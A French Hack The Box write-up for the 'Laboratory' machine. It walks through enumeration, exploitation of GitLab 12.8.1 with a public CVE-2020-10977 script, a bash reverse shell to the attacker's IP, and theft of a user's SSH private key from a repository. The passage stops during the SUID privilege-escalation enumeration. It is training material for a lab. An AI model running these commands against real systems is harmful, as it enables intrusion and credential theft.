Introduction
La machine Laboratory de Hack The Box, classée HTB Easy, propose un walkthrough Linux centré sur une instance GitLab vulnérable à CVE-2020-10977, la découverte d’un vhost et une escalade de privilèges locale. Ce writeup détaille une chaîne d’exploitation complète, depuis l’identification du sous-domaine git.laboratory.htb jusqu’à l’obtention d’un accès root.
La prise de pied repose sur GitLab, accessible via le vhost découvert pendant l’énumération web. Après l’exploitation de l’application, l’analyse des dépôts internes permet de retrouver des informations utiles et de pivoter vers l’utilisateur dexter en SSH.
L’escalade de privilèges s’appuie ensuite sur l’analyse du binaire SUID /usr/local/bin/docker-security. Avec strace, tu observes que ce programme appelle chmod sans chemin absolu, ce qui permet un détournement du PATH et conduit à l’accès root.
Énumération
Dans un challenge CTF Hack The Box, tu commences toujours par une phase d’énumération complète.
C’est une étape incontournable : elle te permet d’identifier précisément ce que la machine expose afin de repérer les points d’entrée exploitables.
Concrètement, l’objectif de cette phase d’énumération est d’identifier :
- quels ports sont ouverts
- quels services sont accessibles
- si une application web est présente
- quels répertoires sont exposés
- si des sous-domaines ou vhosts peuvent être exploités
Pour réaliser cette énumération de manière structurée et reproductible, tu peux utiliser les trois scripts suivants :
- mon-nmap : identifie les ports ouverts et les services en écoute
- mon-recoweb : énumère les répertoires et fichiers accessibles via le service web
- mon-subdomains : détecte la présence éventuelle de sous-domaines et de vhosts
Tu retrouves ces outils dans la section Outils / Mes scripts.
Pour obtenir des résultats pertinents dans un contexte CTF Hack The Box, tu utilises une wordlist dédiée, installée au préalable grâce au script make-htb-wordlist.
Cette wordlist est conçue pour couvrir les technologies couramment rencontrées sur Hack The Box et est installée par défaut dans :
/usr/share/wordlists/htb-dns-vh-5000.txt
Cette wordlist est conçue pour couvrir les technologies couramment rencontrées sur Hack The Box.
Avant de lancer les scans, vérifie que le nom d’hôte laboratory.htb résout correctement vers l’adresse IP de la cible.
Sur HTB, cela passe généralement par une entrée dans /etc/hosts.
- Ajoute l’entrée
10.129.x.x laboratory.htbdans/etc/hosts.
sudo nano /etc/hosts
- Lance ensuite le script mon-nmap pour obtenir une vue claire des ports et services exposés :
mon-nmap laboratory.htb
# Résultats dans le répertoire scans_nmap/
# - scans_nmap/full_tcp_scan.txt
# - scans_nmap/enum_ftp_smb_scan.txt
# - scans_nmap/aggressive_vuln_scan.txt
# - scans_nmap/cms_vuln_scan.txt
# - scans_nmap/udp_vuln_scan.txt
Scan initial
Le scan TCP complet (scans_nmap/full_tcp_scan.txt) montre les ports ouverts suivants :
# Nmap 7.99 scan initiated [date] as: /usr/lib/nmap/nmap --privileged -Pn -p- --min-rate 5000 -T4 -oN scans_nmap/laboratory/full_tcp_scan.txt laboratory.htb
Nmap scan report for laboratory.htb (10.129.x.x)
Host is up (0.088s latency).
Not shown: 65532 filtered tcp ports (no-response)
PORT STATE SERVICE
22/tcp open ssh
80/tcp open http
443/tcp open https
# Nmap done at [date] -- 1 IP address (1 host up) scanned in 27.00 seconds
Scan FTP/SMB (si services détectés)
Après le scan initial, le script enchaîne automatiquement avec une phase d’énumération ciblée FTP/SMB si l’un des services suivants est détecté :
- FTP sur le port 21
- SMB sur le port 139 et/ou 445
Les résultats sont enregistrés dans (scans_nmap/enum_ftp_smb_scan.txt) :
# mon-nmap — ENUM FTP / SMB
# Target : laboratory.htb
# Date : [date]
Aucun service FTP (21) ni SMB (139/445) détecté.
Ports ouverts détectés : 22,80,443
Scan agressif
Le script enchaîne ensuite automatiquement sur un scan agressif orienté vulnérabilités.
Ce scan fournit des informations détaillées sur les services et versions détectés.
Les résultats sont enregistrés dans (scans_nmap/aggressive_vuln_scan.txt) :
[+] Scan agressif orienté vulnérabilités (CTF-perfect LEGACY) pour laboratory.htb
[+] Commande utilisée :
nmap -Pn -A -sV -p"22,80,443" --script="(http-vuln-* or http-shellshock or ssl-heartbleed or ssl-cert) and not (http-vuln-cve2017-1001000 or http-sql-injection or sslv2 or ssl-dh-params)" --script-timeout=30s -T4 "laboratory.htb"
# Nmap 7.99 scan initiated [date] as: /usr/lib/nmap/nmap --privileged -Pn -A -sV -p22,80,443 "--script=(http-vuln-* or http-shellshock or ssl-heartbleed or ssl-cert) and not (http-vuln-cve2017-1001000 or http-sql-injection or sslv2 or ssl-dh-params)" --script-timeout=30s -T4 -oN scans_nmap/laboratory/aggressive_vuln_scan_raw.txt laboratory.htb
Nmap scan report for laboratory.htb (10.129.x.x)
Host is up (0.039s latency).
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 8.2p1 Ubuntu 4ubuntu0.1 (Ubuntu Linux; protocol 2.0)
80/tcp open http Apache httpd 2.4.41
|_http-server-header: Apache/2.4.41 (Ubuntu)
443/tcp open ssl/http Apache httpd 2.4.41
|_http-server-header: Apache/2.4.41 (Ubuntu)
| ssl-cert: Subject: commonName=laboratory.htb
| Subject Alternative Name: DNS:git.laboratory.htb
| Issuer: commonName=laboratory.htb
| Public Key type: rsa
| Public Key bits: 4096
| Signature Algorithm: sha256WithRSAEncryption
| Not valid before: 2020-07-05T10:39:28
| Not valid after: 2024-03-03T10:39:28
| MD5: 2873 91a5 5022 f323 4b95 df98 b61a eb6c
| SHA-1: 0875 3a7e eef6 8f50 0349 510d 9fbf abc3 c70a a1ca
|_SHA-256: e164 6bfd 66bd 8821 2fff 8c99 3c25 bc59 3e85 154e dc00 6551 2015 9530 84da 3aba
Warning: OSScan results may be unreliable because we could not find at least 1 open and 1 closed port
Device type: general purpose|router
Running (JUST GUESSING): Linux 4.X|5.X|2.6.X|3.X (97%), MikroTik RouterOS 7.X (90%)
OS CPE: cpe:/o:linux:linux_kernel:4 cpe:/o:linux:linux_kernel:5 cpe:/o:linux:linux_kernel:2.6 cpe:/o:linux:linux_kernel:3 cpe:/o:linux:linux_kernel:6 cpe:/o:mikrotik:routeros:7 cpe:/o:linux:linux_kernel:5.6.3
Aggressive OS guesses: Linux 4.15 - 5.19 (97%), Linux 5.0 - 5.14 (97%), Linux 2.6.32 - 3.13 (91%), Linux 3.10 - 4.11 (91%), Linux 3.2 - 4.14 (91%), Linux 4.15 (91%), Linux 5.14 - 6.8 (91%), Linux 2.6.32 - 3.10 (91%), Linux 4.19 - 5.15 (91%), Linux 4.19 (90%)
No exact OS matches for host (test conditions non-ideal).
Network Distance: 2 hops
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
TRACEROUTE (using port 443/tcp)
HOP RTT ADDRESS
1 53.93 ms 10.10.16.1
2 53.98 ms laboratory.htb (10.129.6.88)
OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
# Nmap done at [date] -- 1 IP address (1 host up) scanned in 24.88 seconds
Scan ciblé CMS
Le script exécute ensuite un scan ciblé CMS (scans_nmap/cms_vuln_scan.txt).
# Nmap 7.99 scan initiated [date] as: /usr/lib/nmap/nmap --privileged -Pn -sV -p22,80,443 --script=http-wordpress-enum,http-wordpress-brute,http-wordpress-users,http-drupal-enum,http-drupal-enum-users,http-joomla-brute,http-generator,http-robots.txt,http-title,http-headers,http-methods,http-enum,http-devframework,http-cakephp-version,http-php-version,http-config-backup,http-backup-finder,http-sitemap-generator --script-timeout=30s -T4 -oN scans_nmap/laboratory/cms_vuln_scan.txt laboratory.htb
Nmap scan report for laboratory.htb (10.129.x.x)
Host is up (0.063s latency).
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 8.2p1 Ubuntu 4ubuntu0.1 (Ubuntu Linux; protocol 2.0)
80/tcp open http Apache httpd 2.4.41
|_http-title: Did not follow redirect to https://laboratory.htb/
| http-methods:
|_ Supported Methods: GET HEAD POST OPTIONS
|_http-server-header: Apache/2.4.41 (Ubuntu)
| http-sitemap-generator:
| Directory structure:
| Longest directory structure:
| Depth: 0
| Dir: /
| Total files found (by extension):
|_
| http-headers:
| Date: Fri, 29 May 2026 08:10:55 GMT
| Server: Apache/2.4.41 (Ubuntu)
| Location: https://laboratory.htb/
| Content-Length: 287
| Connection: close
| Content-Type: text/html; charset=iso-8859-1
|
|_ (Request type: GET)
|_http-devframework: Couldn't determine the underlying framework or CMS. Try increasing 'httpspider.maxpagecount' value to spider more pages.
443/tcp open ssl/http Apache httpd 2.4.41
|_http-server-header: Apache/2.4.41 (Ubuntu)
|_http-title: The Laboratory
| http-headers:
| Date: Fri, 29 May 2026 08:10:55 GMT
| Server: Apache/2.4.41 (Ubuntu)
| Last-Modified: Sun, 05 Jul 2020 16:42:54 GMT
| ETag: "1c56-5a9b4731c5f80"
| Accept-Ranges: bytes
| Content-Length: 7254
| Vary: Accept-Encoding
| Connection: close
| Content-Type: text/html
|
|_ (Request type: HEAD)
| http-enum:
|_ /images/: Potentially interesting directory w/ listing on 'apache/2.4.41 (ubuntu)'
|_http-devframework: Couldn't determine the underlying framework or CMS. Try increasing 'httpspider.maxpagecount' value to spider more pages.
| http-methods:
|_ Supported Methods: POST OPTIONS HEAD GET
| http-sitemap-generator:
| Directory structure:
| /
| Other: 1; html: 1
| /assets/
| Other: 1
| /assets/css/
| css: 1
| /assets/js/
| Other: 1; js: 5
| /icons/
| gif: 1
| /images/
| jpg: 2; mp4: 1; png: 1
| Longest directory structure:
| Depth: 2
| Dir: /assets/js/
| Total files found (by extension):
|_ Other: 3; css: 1; gif: 1; html: 1; jpg: 2; js: 5; mp4: 1; png: 1
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
# Nmap done at [date] -- 1 IP address (1 host up) scanned in 32.53 seconds
Scan UDP rapide
Le script lance également un scan UDP rapide afin de détecter d’éventuels services supplémentaires (scans_nmap/udp_vuln_scan.txt).
# Nmap 7.99 scan initiated [date] as: /usr/lib/nmap/nmap --privileged -n -Pn -sU --top-ports 20 -T4 -oN scans_nmap/laboratory/udp_vuln_scan.txt laboratory.htb
Nmap scan report for laboratory.htb (10.129.x.x)
Host is up.
PORT STATE SERVICE
53/udp open|filtered domain
67/udp open|filtered dhcps
68/udp open|filtered dhcpc
69/udp open|filtered tftp
123/udp open|filtered ntp
135/udp open|filtered msrpc
137/udp open|filtered netbios-ns
138/udp open|filtered netbios-dgm
139/udp open|filtered netbios-ssn
161/udp open|filtered snmp
162/udp open|filtered snmptrap
445/udp open|filtered microsoft-ds
500/udp open|filtered isakmp
514/udp open|filtered syslog
520/udp open|filtered route
631/udp open|filtered ipp
1434/udp open|filtered ms-sql-m
1900/udp open|filtered upnp
4500/udp open|filtered nat-t-ike
49152/udp open|filtered unknown
# Nmap done at [date] -- 1 IP address (1 host up) scanned in 3.11 seconds
Énumération des chemins web
Pour la découverte des chemins web, tu utilises généralement le script dédié mon-recoweb .
Les résultats de mon-recoweb ne sont pas exploitables ici, car le serveur retourne massivement des réponses HTTP 302.
Une réponse 302 indique une redirection. Or, si presque tous les chemins testés sont redirigés, il devient impossible de distinguer proprement un vrai répertoire d’un faux positif.
Le test avec --fc 302 confirme ce comportement : une fois les redirections exclues, le résultat devient vide. Les résultats précédents correspondent donc principalement à des redirections, et non à des chemins web distincts clairement identifiables.
Dans ce contexte, mon-recoweb n’apporte donc pas de découverte web fiable.
Recherche de vhosts
Pour compléter l’énumération web, tu recherches ensuite d’éventuels virtual hosts avec le script dédié mon-subdomains .
Le résultat n’est toutefois pas exploitable directement.
Sur le port 80, les baselines effectuées avec des noms d’hôtes aléatoires retournent toutes une réponse 302 identique. Le fuzzing remonte alors presque toute la wordlist comme résultat potentiel, ce qui correspond à des faux positifs.
Sur le port 443, les noms d’hôtes aléatoires retournent tous une réponse 200 identique, avec la même taille et le même nombre de mots. Le script détecte donc un comportement de type wildcard et saute le fuzzing, car la réponse ne permet pas de distinguer un vrai virtual host d’un nom inventé.
Dans ce contexte, mon-subdomains ne permet pas d’identifier de virtual host fiable.
Prise pied
Le scan agressif fournit deux informations utiles pour orienter la prise pied :
| http-enum:
| /images/: Potentially interesting directory w/ listing on 'apache/2.4.41 (ubuntu)'
| /assets/: Potentially interesting directory w/ listing on 'apache/2.4.41 (ubuntu)'
| ssl-cert:
| Subject Alternative Name:
| DNS:git.laboratory.htb
Les répertoires /images et /assets peuvent être explorés, mais l’information la plus importante ici est la présence d’un vhost HTTPS :
https://git.laboratory.htb
Avant de poursuivre, tu vérifies que l’interface GitLab répond correctement. Sur cette machine, l’application n’est pas toujours immédiatement disponible : tant que le service n’est pas complètement prêt, GitLab retourne une erreur 502.
Tu utilises donc une petite boucle curl pour tester régulièrement la réponse de https://git.laboratory.htb/. La commande affiche le code HTTP, extrait le titre de la page lorsqu’il est présent, puis s’arrête dès que GitLab ne répond plus en 502 ou en 000.
while true; do
code=$(curl -k -s -o /tmp/gitlab-check.html -w "%{http_code}" https://git.laboratory.htb/)
title=$(grep -oP '(?<=<title>).*?(?=</title>)' /tmp/gitlab-check.html 2>/dev/null)
echo "$(date '+%H:%M:%S') - HTTP $code - ${title:-no title}"
if [ "$code" != "502" ] && [ "$code" != "000" ]; then
echo "[+] GitLab semble répondre : https://git.laboratory.htb/"
break
fi
sleep 30
done
Hack The Box indique que le service GitLab peut prendre jusqu’à 5 minutes avant d’être pleinement disponible. Il est donc normal d’obtenir temporairement des erreurs 502 après un reset de la machine.

Voici par exemple une attente typique avant que GitLab réponde correctement :
17:38:12 - HTTP 000 - GitLab is not responding (502)
17:38:45 - HTTP 000 - GitLab is not responding (502)
17:39:08 - HTTP 000 - GitLab is not responding (502)
17:39:38 - HTTP 502 - GitLab is not responding (502)
17:39:58 - HTTP 502 - GitLab is not responding (502)
17:41:19 - HTTP 502 - GitLab is not responding (502)
17:41:49 - HTTP 302 - no title
[+] GitLab semble répondre : https://git.laboratory.htb/
Ici, le passage en HTTP 302 indique que le service répond à nouveau. Tu peux alors poursuivre l’exploitation de https://git.laboratory.htb/.

Si GitLab ne répond toujours pas après environ 5 à 6 minutes, le plus simple est de faire un reset de la machine. Dans ce cas, pense aussi à mettre à jour
/etc/hostsavec la nouvelle adresse IP attribuée par Hack The Box.
Exploration de l’interface GitLab
Une fois GitLab disponible, tu peux ouvrir l’interface web sur https://git.laboratory.htb/.
Le certificat HTTPS étant auto-signé, le navigateur affiche d’abord un avertissement de sécurité. Pour poursuivre l’exploration de la machine, tu acceptes l’exception et tu accèdes à l’application.

La page d’accueil de GitLab permet de créer un compte utilisateur. Tu utilises donc la fonctionnalité d’enregistrement proposée par l’application.

Une fois connecté, tu arrives sur le tableau de bord GitLab.

Recherche de la version de GitLab
Avant de chercher une vulnérabilité exploitable, tu récupères la version exacte de GitLab installée sur la machine.
Depuis l’interface web, tu ouvres le menu utilisateur en haut à droite, puis tu cliques sur Help.

La page d’aide affiche la version de l’application : GitLab Community Edition 12.8.1.

Cette information est importante pour la suite, car elle permet de cibler les recherches sur les vulnérabilités connues affectant cette version précise de GitLab.
À ce stade, tu peux soit explorer l’interface web manuellement, soit chercher si l’instance GitLab présente une vulnérabilité exploitable.
Dans ce writeup, tu vas privilégier la recherche de vulnérabilités connues. Ce choix est logique ici, car GitLab est une application complexe, régulièrement ciblée dans des environnements CTF, et dont certaines versions ont connu des failles critiques exploitables à distance. Cela permet de vérifier rapidement si le service exposé présente une piste d’exploitation directe.
Recherche d’un exploit public
L’idéal serait de trouver une vulnérabilité RCE compatible avec GitLab 12.8.1, qui te permettrait d’exécuter une commande lançant un reverse shell vers Kali.
Tu peux par exemple lancer une recherche Google avec les termes suivants :
gitlab vulnerabilities 12.8.1 reverse shell github poc -laboratory
Le terme -laboratory est volontaire : il permet d’exclure les résultats contenant le nom de la machine, afin d’éviter les writeups ou solutions déjà publiés pour ce challenge.

La recherche fait ressortir un dépôt GitHub gitlab-cve-2020-10977, dont la description mentionne une exécution de code à distance contre GitLab Community Edition et Enterprise Edition.
https://github.com/vandycknick/gitlab-cve-2020-10977
À ce stade, l’objectif est donc de vérifier si cette vulnérabilité peut s’appliquer à notre version 12.8.1 observée sur la cible, puis de comprendre son fonctionnement avant de l’utiliser.
Exploitation de gitlab-cve-2020-10977
La recherche précédente permet d’identifier un dépôt GitHub proposant un exploit pour gitlab-cve-2020-10977. L’exploit nécessite un compte GitLab valide, ce qui correspond à la situation actuelle puisque tu as pu créer un compte sur l’interface web.
Clonage sur Kali
Sur Kali, tu clones le dépôt contenant le script d’exploitation :
git clone https://github.com/vandycknick/gitlab-cve-2020-10977.git
cd gitlab-cve-2020-10977
L’exploit utilise les modules Python requests et beautifulsoup4. Sur Kali, tu peux vérifier leur présence ou les installer avec la recette dédiée :
pip3 install requests beautifulsoup4 --break-system-packages
Test de l’exploit
Avant de lancer l’exploit directement, tu affiches son aide afin de vérifier les options disponibles :
python3 cve_2020_10977.py -h
Ce qui te donne :
usage: cve_2020_10977.py [-h] --url URL -u USERNAME
-p PASSWORD [--cmd CMD]
[--insecure]
options:
-h, --help show this help message and exit
--url URL Target URL
-u, --username USERNAME
Gitlab username
-p, --password PASSWORD
Gitlab password
--cmd CMD Command to execute
--insecure Allow insecure server connections when using
SSL
Le script attend notamment l’URL de la cible, un nom d’utilisateur GitLab, un mot de passe, ainsi qu’une commande optionnelle à exécuter.
Les options -u et -p correspondent aux identifiants du compte GitLab créé précédemment depuis la page d’enregistrement de l’application web. Ici, tu réutilises donc le compte créé précédemment, par exemple noelnac, avec le mot de passe défini lors de l’inscription.
L’option --cmd est particulièrement intéressante, car elle permet d’indiquer la commande à exécuter sur la cible. C’est ce mécanisme qui pourra ensuite servir à lancer un reverse shell vers Kali.
L’option --insecure est importante ici, car elle permet de lancer l’exploit malgré le certificat self-signed présenté par l’instance GitLab.
Premier test sans commande
Avant de tenter un reverse shell, tu peux lancer l’exploit sans option --cmd. Cela permet de vérifier que le script fonctionne correctement avec l’URL cible, le compte GitLab créé précédemment et le certificat self-signed.
python3 cve_2020_10977.py --url https://git.laboratory.htb -u noelnac -p 'Password123!' --insecure
Le script se connecte à GitLab, crée deux projets temporaires, crée une issue, puis la déplace d’un projet vers l’autre. Ce mécanisme est utilisé pour exploiter la vulnérabilité et lire un fichier sensible de l’installation GitLab.
[INFO] Logging into Gitlab ...
[INFO] Login Successfull!
[INFO] Creating project 607da931-aeda-4f6a-8a30-1af48a5eb853
[INFO] Creating project f11713fc-c19c-40d4-b468-72f55252f581
[INFO] Creating issue 166c3322-bba0-497b-b193-217c134fc705 in project 607da931-aeda-4f6a-8a30-1af48a5eb853
[INFO] Moving issue 166c3322-bba0-497b-b193-217c134fc705 from project 607da931-aeda-4f6a-8a30-1af48a5eb853 to f11713fc-c19c-40d4-b468-72f55252f581
[INFO] Extracting secret from file
[INFO] GitLab Secret: 3231f54b33e0c1ce998113c083528460153b19542a70173b4458a21e845ffa33cc45ca7486fc8ebb6b2727cc02feea4c3adbe2cc7b65003510e4031e164137b3
Le message de succès de connexion confirme que les identifiants GitLab sont valides.
À ce stade, tu sais donc que l’exploit est fonctionnel. Tu peux maintenant passer à l’exécution d’une commande avec l’option --cmd.
Validation de l’exécution de commande
Avant de lancer un reverse shell, tu peux faire un test plus simple avec wget. L’idée est de demander à la cible de récupérer un fichier hébergé sur ta machine Kali. Si Kali reçoit la requête HTTP, cela confirme que la commande fournie à l’option --cmd est bien exécutée sur la cible.
Sur Kali, tu crées d’abord un petit fichier de test :
echo "poc command execution" > test.txt
Puis tu lances un serveur HTTP dans le même répertoire :
python3 -m http.server 8000
Ensuite, tu relances l’exploit en ajoutant une commande wget :
python3 cve_2020_10977.py --url https://git.laboratory.htb -u noelnac -p 'Password123!' --insecure --cmd "wget http://10.10.16.20:8000/test.txt"
Si l’exécution de commande fonctionne, le serveur HTTP lancé sur Kali reçoit une requête depuis la cible :
python3 -m http.server 8000
Serving HTTP on 0.0.0.0 port 8000 (http://0.0.0.0:8000/) ...
10.129.8.117 - - [01/Jun/2026 16:57:39] "GET /test.txt HTTP/1.1" 200 -
Ce test confirme que l’exploit permet bien d’exécuter une commande sur la machine cible. Tu peux maintenant remplacer la commande wget par une commande destinée à établir un reverse shell vers Kali.
Obtention du reverse shell
Après avoir validé l’exécution de commande avec wget, tu peux remplacer la commande de test par un reverse shell Bash.
Sur Kali, tu commences par ouvrir un listener Netcat :
rlwrap nc -lvnp 4444
Tu relances ensuite l’exploit en utilisant l’option --cmd pour exécuter un reverse shell vers ton IP VPN HTB :
python3 cve_2020_10977.py --url https://git.laboratory.htb -u noelnac -p 'Password123!' --insecure --cmd "bash -c 'bash -i >& /dev/tcp/10.10.16.20/4444 0>&1'"
Dans cette commande, l’exploit se connecte à GitLab avec le compte créé précédemment, puis utilise l’exécution de commande pour lancer un shell Bash vers Kali.
Si tout se passe correctement, le listener reçoit une connexion entrante :
listening on [any] 4444 ...
connect to [10.10.16.20] from (UNKNOWN) [10.129.8.117] 35368
bash: cannot set terminal process group (413): Inappropriate ioctl for device
bash: no job control in this shell
git@git:~/gitlab-rails/working$
Tu obtiens alors un shell en tant qu’utilisateur git, dans le contexte de l’installation GitLab.
Stabilisation du shell
Le reverse shell obtenu fonctionne, mais il reste peu confortable pour poursuivre l’exploitation. Tu peux donc le stabiliser avec la méthode classique déjà présentée dans la recette dédiée : « Stabiliser un Reverse Shell Bash »
Tu commences par obtenir un pseudo-terminal avec Python :
python3 -c 'import pty; pty.spawn("/bin/bash")'
Tu suspends ensuite le shell avec Ctrl+Z, puis tu configures ton terminal local sur Kali :
stty raw -echo; fg
Après le retour dans le shell distant, tu appuies une fois sur Entrée, puis tu définis quelques variables utiles :
export TERM=xterm
stty rows 40 columns 120
Tu disposes maintenant d’un shell plus confortable pour explorer l’installation GitLab depuis le compte git.
Analyse des dépôts GitLab
Le reverse shell obtenu te donne un accès en tant qu’utilisateur git, c’est-à-dire l’utilisateur système utilisé par GitLab pour faire fonctionner l’application.
Tu peux commencer par vérifier le contexte courant :
cd ~
whoami
id
hostname
pwd
Le shell confirme que tu te trouves dans le contexte applicatif de GitLab :
git@git:~$ whoami
git
git@git:~$ id
uid=998(git) gid=998(git) groups=998(git)
git@git:~$ hostname
git.laboratory.htb
git@git:~$ pwd
/var/opt/gitlab
À ce stade, l’objectif est de comprendre ce que cet utilisateur peut lire dans l’installation GitLab.
Recherche des repositories
Comme GitLab héberge des dépôts Git, tu peux rechercher l’emplacement des répertoires appelés repositories :
find / -type d -name repositories 2>/dev/null
Sur cette machine, la commande permet d’identifier l’emplacement des dépôts GitLab :
/var/opt/gitlab/git-data/repositories
Tu recherches ensuite les dépôts Git présents dans cette arborescence :
find /var/opt/gitlab/git-data/repositories -type d -name "*.git" 2>/dev/null
La recherche retourne plusieurs dépôts :
/var/opt/gitlab/git-data/repositories/@hashed/19/58/19581e27de7ced00ff1ce50b2047e7a567c76b1cbaebabe5ef03f7c3017bb5b7.wiki.git
/var/opt/gitlab/git-data/repositories/@hashed/19/58/19581e27de7ced00ff1ce50b2047e7a567c76b1cbaebabe5ef03f7c3017bb5b7.git
/var/opt/gitlab/git-data/repositories/@hashed/2c/62/2c624232cdd221771294dfbb310aca000a0df6ac8b66b696d90ef06fdefb64a3.wiki.git
/var/opt/gitlab/git-data/repositories/@hashed/2c/62/2c624232cdd221771294dfbb310aca000a0df6ac8b66b696d90ef06fdefb64a3.git
Lecture des repositories
Ces chemins correspondent à des dépôts Git bare utilisés par GitLab. Ils contiennent bien les fichiers du projet, mais pas sous forme d’arborescence directement lisible avec ls.
Pour les afficher, tu dois interroger le dépôt avec Git, en utilisant l’option --git-dir.
Par exemple, sur le premier dépôt non-wiki :
git --git-dir=/var/opt/gitlab/git-data/repositories/@hashed/19/58/19581e27de7ced00ff1ce50b2047e7a567c76b1cbaebabe5ef03f7c3017bb5b7.git \
ls-tree -r HEAD --name-only
La liste des fichiers montre notamment un répertoire .ssh associé à l’utilisateur dexter :
README.md
create_gitlab.sh
dexter/.ssh/authorized_keys
dexter/.ssh/id_rsa
dexter/recipe.url
dexter/todo.txt
Extraction de la clé SSH de dexter
Le fichier le plus sensible est dexter/.ssh/id_rsa, car il correspond à une clé privée SSH. Si cette clé est acceptée par le service SSH, elle peut permettre une connexion au compte système dexter.
Tu peux extraire cette clé directement depuis le dépôt avec git show :
git --git-dir=/var/opt/gitlab/git-data/repositories/@hashed/19/58/19581e27de7ced00ff1ce50b2047e7a567c76b1cbaebabe5ef03f7c3017bb5b7.git show HEAD:dexter/.ssh/id_rsa
Sur Kali, tu crées ensuite un fichier local et tu y colles le contenu complet de la clé privée :
nano dexter_id_rsa
La clé doit être copiée entièrement, depuis la ligne -----BEGIN OPENSSH PRIVATE KEY----- jusqu’à la ligne -----END OPENSSH PRIVATE KEY-----.
-----BEGIN OPENSSH PRIVATE KEY-----
b3BlbnNzaC1rZXktdjEAAAAABG5vbmUAAAAEbm9uZQAAAAAAAAABAAABlwAAAAdzc2gtcn
NhAAAAAwEAAQAAAYEAsZfDj3ASdb5YS3MwjsD8+5JvnelUs+yI27VuDD7P21odSfNUgCCt
oSE+v8sPNaB/xF0CVqQHtnhnWe6ndxXWHwb34UTodq6g2nOlvtOQ9ITxSevDScM/ctI6h4
2dFBhs+8cW9uSxOwlFR4b70E+tv3BM3WoWgwpXvguP2uZF4SUNWK/8ds9TxYW6C1WkAC8Z
[contenu volontairement tronqué]
7a8ryuqlafYIr72iV/ir4zS4VFjLw5A6Ul/xYrCud0OIGt0El5HmlKPW/kf1KeePfsHQHS
JP4CYgVRuNmqhmkPJXp68UV3djhA2M7T5j31xfQE9nEbEYsyRELOOzTwnrTy/F74dpk/pq
XCVyJn9QMEbE4fdpKGVF+MS/CkfE+JaNH9KOLvMrlw0bx3At681vxUS/VeISQyoQGLw/fu
uJvh4tAHnotmkAAAAPcm9vdEBsYWJvcmF0b3J5AQIDBA==
-----END OPENSSH PRIVATE KEY-----
Tu ajustes ensuite ses permissions, car SSH refuse généralement d’utiliser une clé privée trop accessible :
chmod 600 dexter_id_rsa
Connexion SSH
Tu peux maintenant tenter une connexion SSH avec l’utilisateur dexter :
ssh -i dexter_id_rsa dexter@laboratory.htb
La connexion permet de sortir du contexte applicatif GitLab et d’obtenir un accès SSH avec un utilisateur système classique.
dexter@laboratory:~$
user.txt
Depuis la session SSH de dexter, tu peux lire le premier flag :
dexter@laboratory:~$ ls -l
total 4
-r--r----- 1 root dexter 33 Jun 1 08:28 user.txt
dexter@laboratory:~$ cat user.txt
3257xxxxxxxxxxxxxxxxxxxxxxxx0750
À ce stade, la prise de pied est terminée : tu disposes maintenant d’un shell SSH stable avec l’utilisateur système dexter.
Escalade de privilèges
Une fois connecté en SSH en tant que dexter, tu disposes d’un premier accès utilisateur sur la machine.
L’escalade de privilèges consiste à identifier une commande, un script ou un service exécuté par root que l’utilisateur courant peut influencer pour obtenir une session root.
Comme dans tous mes writeups, et conformément à la recette « Privilege Escalation Linux — Méthode structurée pour CTF et HTB » , l’escalade de privilèges commence par une phase d’énumération méthodique :
- vérification des droits sudo avec
sudo -lafin d’identifier des commandes exécutables avec les privilègesroot - recherche de binaires SUID avec
find / -perm -4000 2>/dev/null(les binaires SUID s’exécutent avec les privilèges de leur propriétaire, souventroot) - analyse des Linux capabilities avec
getcap -r / 2>/dev/nullpython3 suid3num.pyafin d’identifier des binaires disposant de privilèges élevés, puis vérification de leur exploitabilité sur GTFOBins
- inspection des tâches cron avec
cat /etc/crontabafin de repérer d’éventuels scripts ou commandes exécutés automatiquement parroot - analyse des services locaux avec
netstat -tulpnpour identifier d’éventuels services internes accessibles uniquement en local - observation des processus exécutés par
rootavecpspy64(dans une deuxième session SSH) afin de détecter des scripts ou tâches planifiées lancés automatiquement
L’objectif de cette approche n’est pas de tester des exploits au hasard, mais d’identifier une faiblesse logique ou une mauvaise configuration exploitable pour progresser vers root.
Si ces vérifications manuelles ne révèlent rien d’exploitable, tu peux alors passer à une énumération automatisée avec linpeas.sh. Cet outil effectue une analyse beaucoup plus exhaustive du système. Il est plus complet, mais aussi plus lourd, et produit souvent beaucoup d’informations qu’il faudra ensuite trier et analyser.
Vérification des droits sudo
Comme souvent lors d’une escalade de privilèges Linux, tu commences par vérifier si l’utilisateur courant dispose de droits sudo particuliers :
sudo -l
Résultat :
dexter@laboratory:~$ sudo -l
[sudo] password for dexter:
Sorry, user dexter may not run sudo on laboratory.
L’utilisateur dexter ne dispose donc pas de droits sudo exploitables. Il faut chercher une autre piste d’escalade locale.
Vérification du contexte utilisateur
Depuis la session SSH obtenue avec dexter, tu vérifies d’abord le contexte courant :
whoami
id
hostname
pwd
Résultat :
dexter@laboratory:~$ whoami
dexter
dexter@laboratory:~$ id
uid=1000(dexter) gid=1000(dexter) groups=1000(dexter)
dexter@laboratory:~$ hostname
laboratory
dexter@laboratory:~$ pwd
/home/dexter
Tu confirmes ainsi que tu disposes d’un accès utilisateur classique sur la machine Linux laboratory.
Recherche de capabilities
Tu vérifies si certains exécutables disposent de capabilities Linux particulières :
dexter@laboratory:~$ getcap -r / 2>/dev/null
Résultats :
/usr/bin/traceroute6.iputils = cap_net_raw+ep
/usr/bin/ping = cap_net_raw+ep
/usr/bin/mtr-packet = cap_net_raw+ep
/usr/lib/x86_64-linux-gnu/gstreamer1.0/gstreamer-1.0/gst-ptp-helper = cap_net_bind_service,cap_net_admin+ep
Les résultats affichés correspondent à des binaires système classiques. Ils ne donnent pas ici de piste directe d’escalade de privilèges.
Tu poursuis donc l’énumération locale avec la recherche des binaires SUID.
Recherche de binaires SUID
Tu recherches ensuite les binaires SUID présents sur le système. Pour rendre la sortie plus lisible, tu utilises suid3num.py, qui classe les résultats et met en évidence les binaires personnalisés intéressants.
Depuis Kali, tu vas dans le répertoire où se trouve suid3num.py, puis tu l’exposes avec un serveur HTTP simple :
python3 -m http.server 8000
Sur la machine cible, tu télécharges ensuite le script dans /dev/shm :
cd /dev/shm
wget http://10.10.x.x:8000/suid3num.py
Puis tu l’exécutes :
python3 suid3num.py
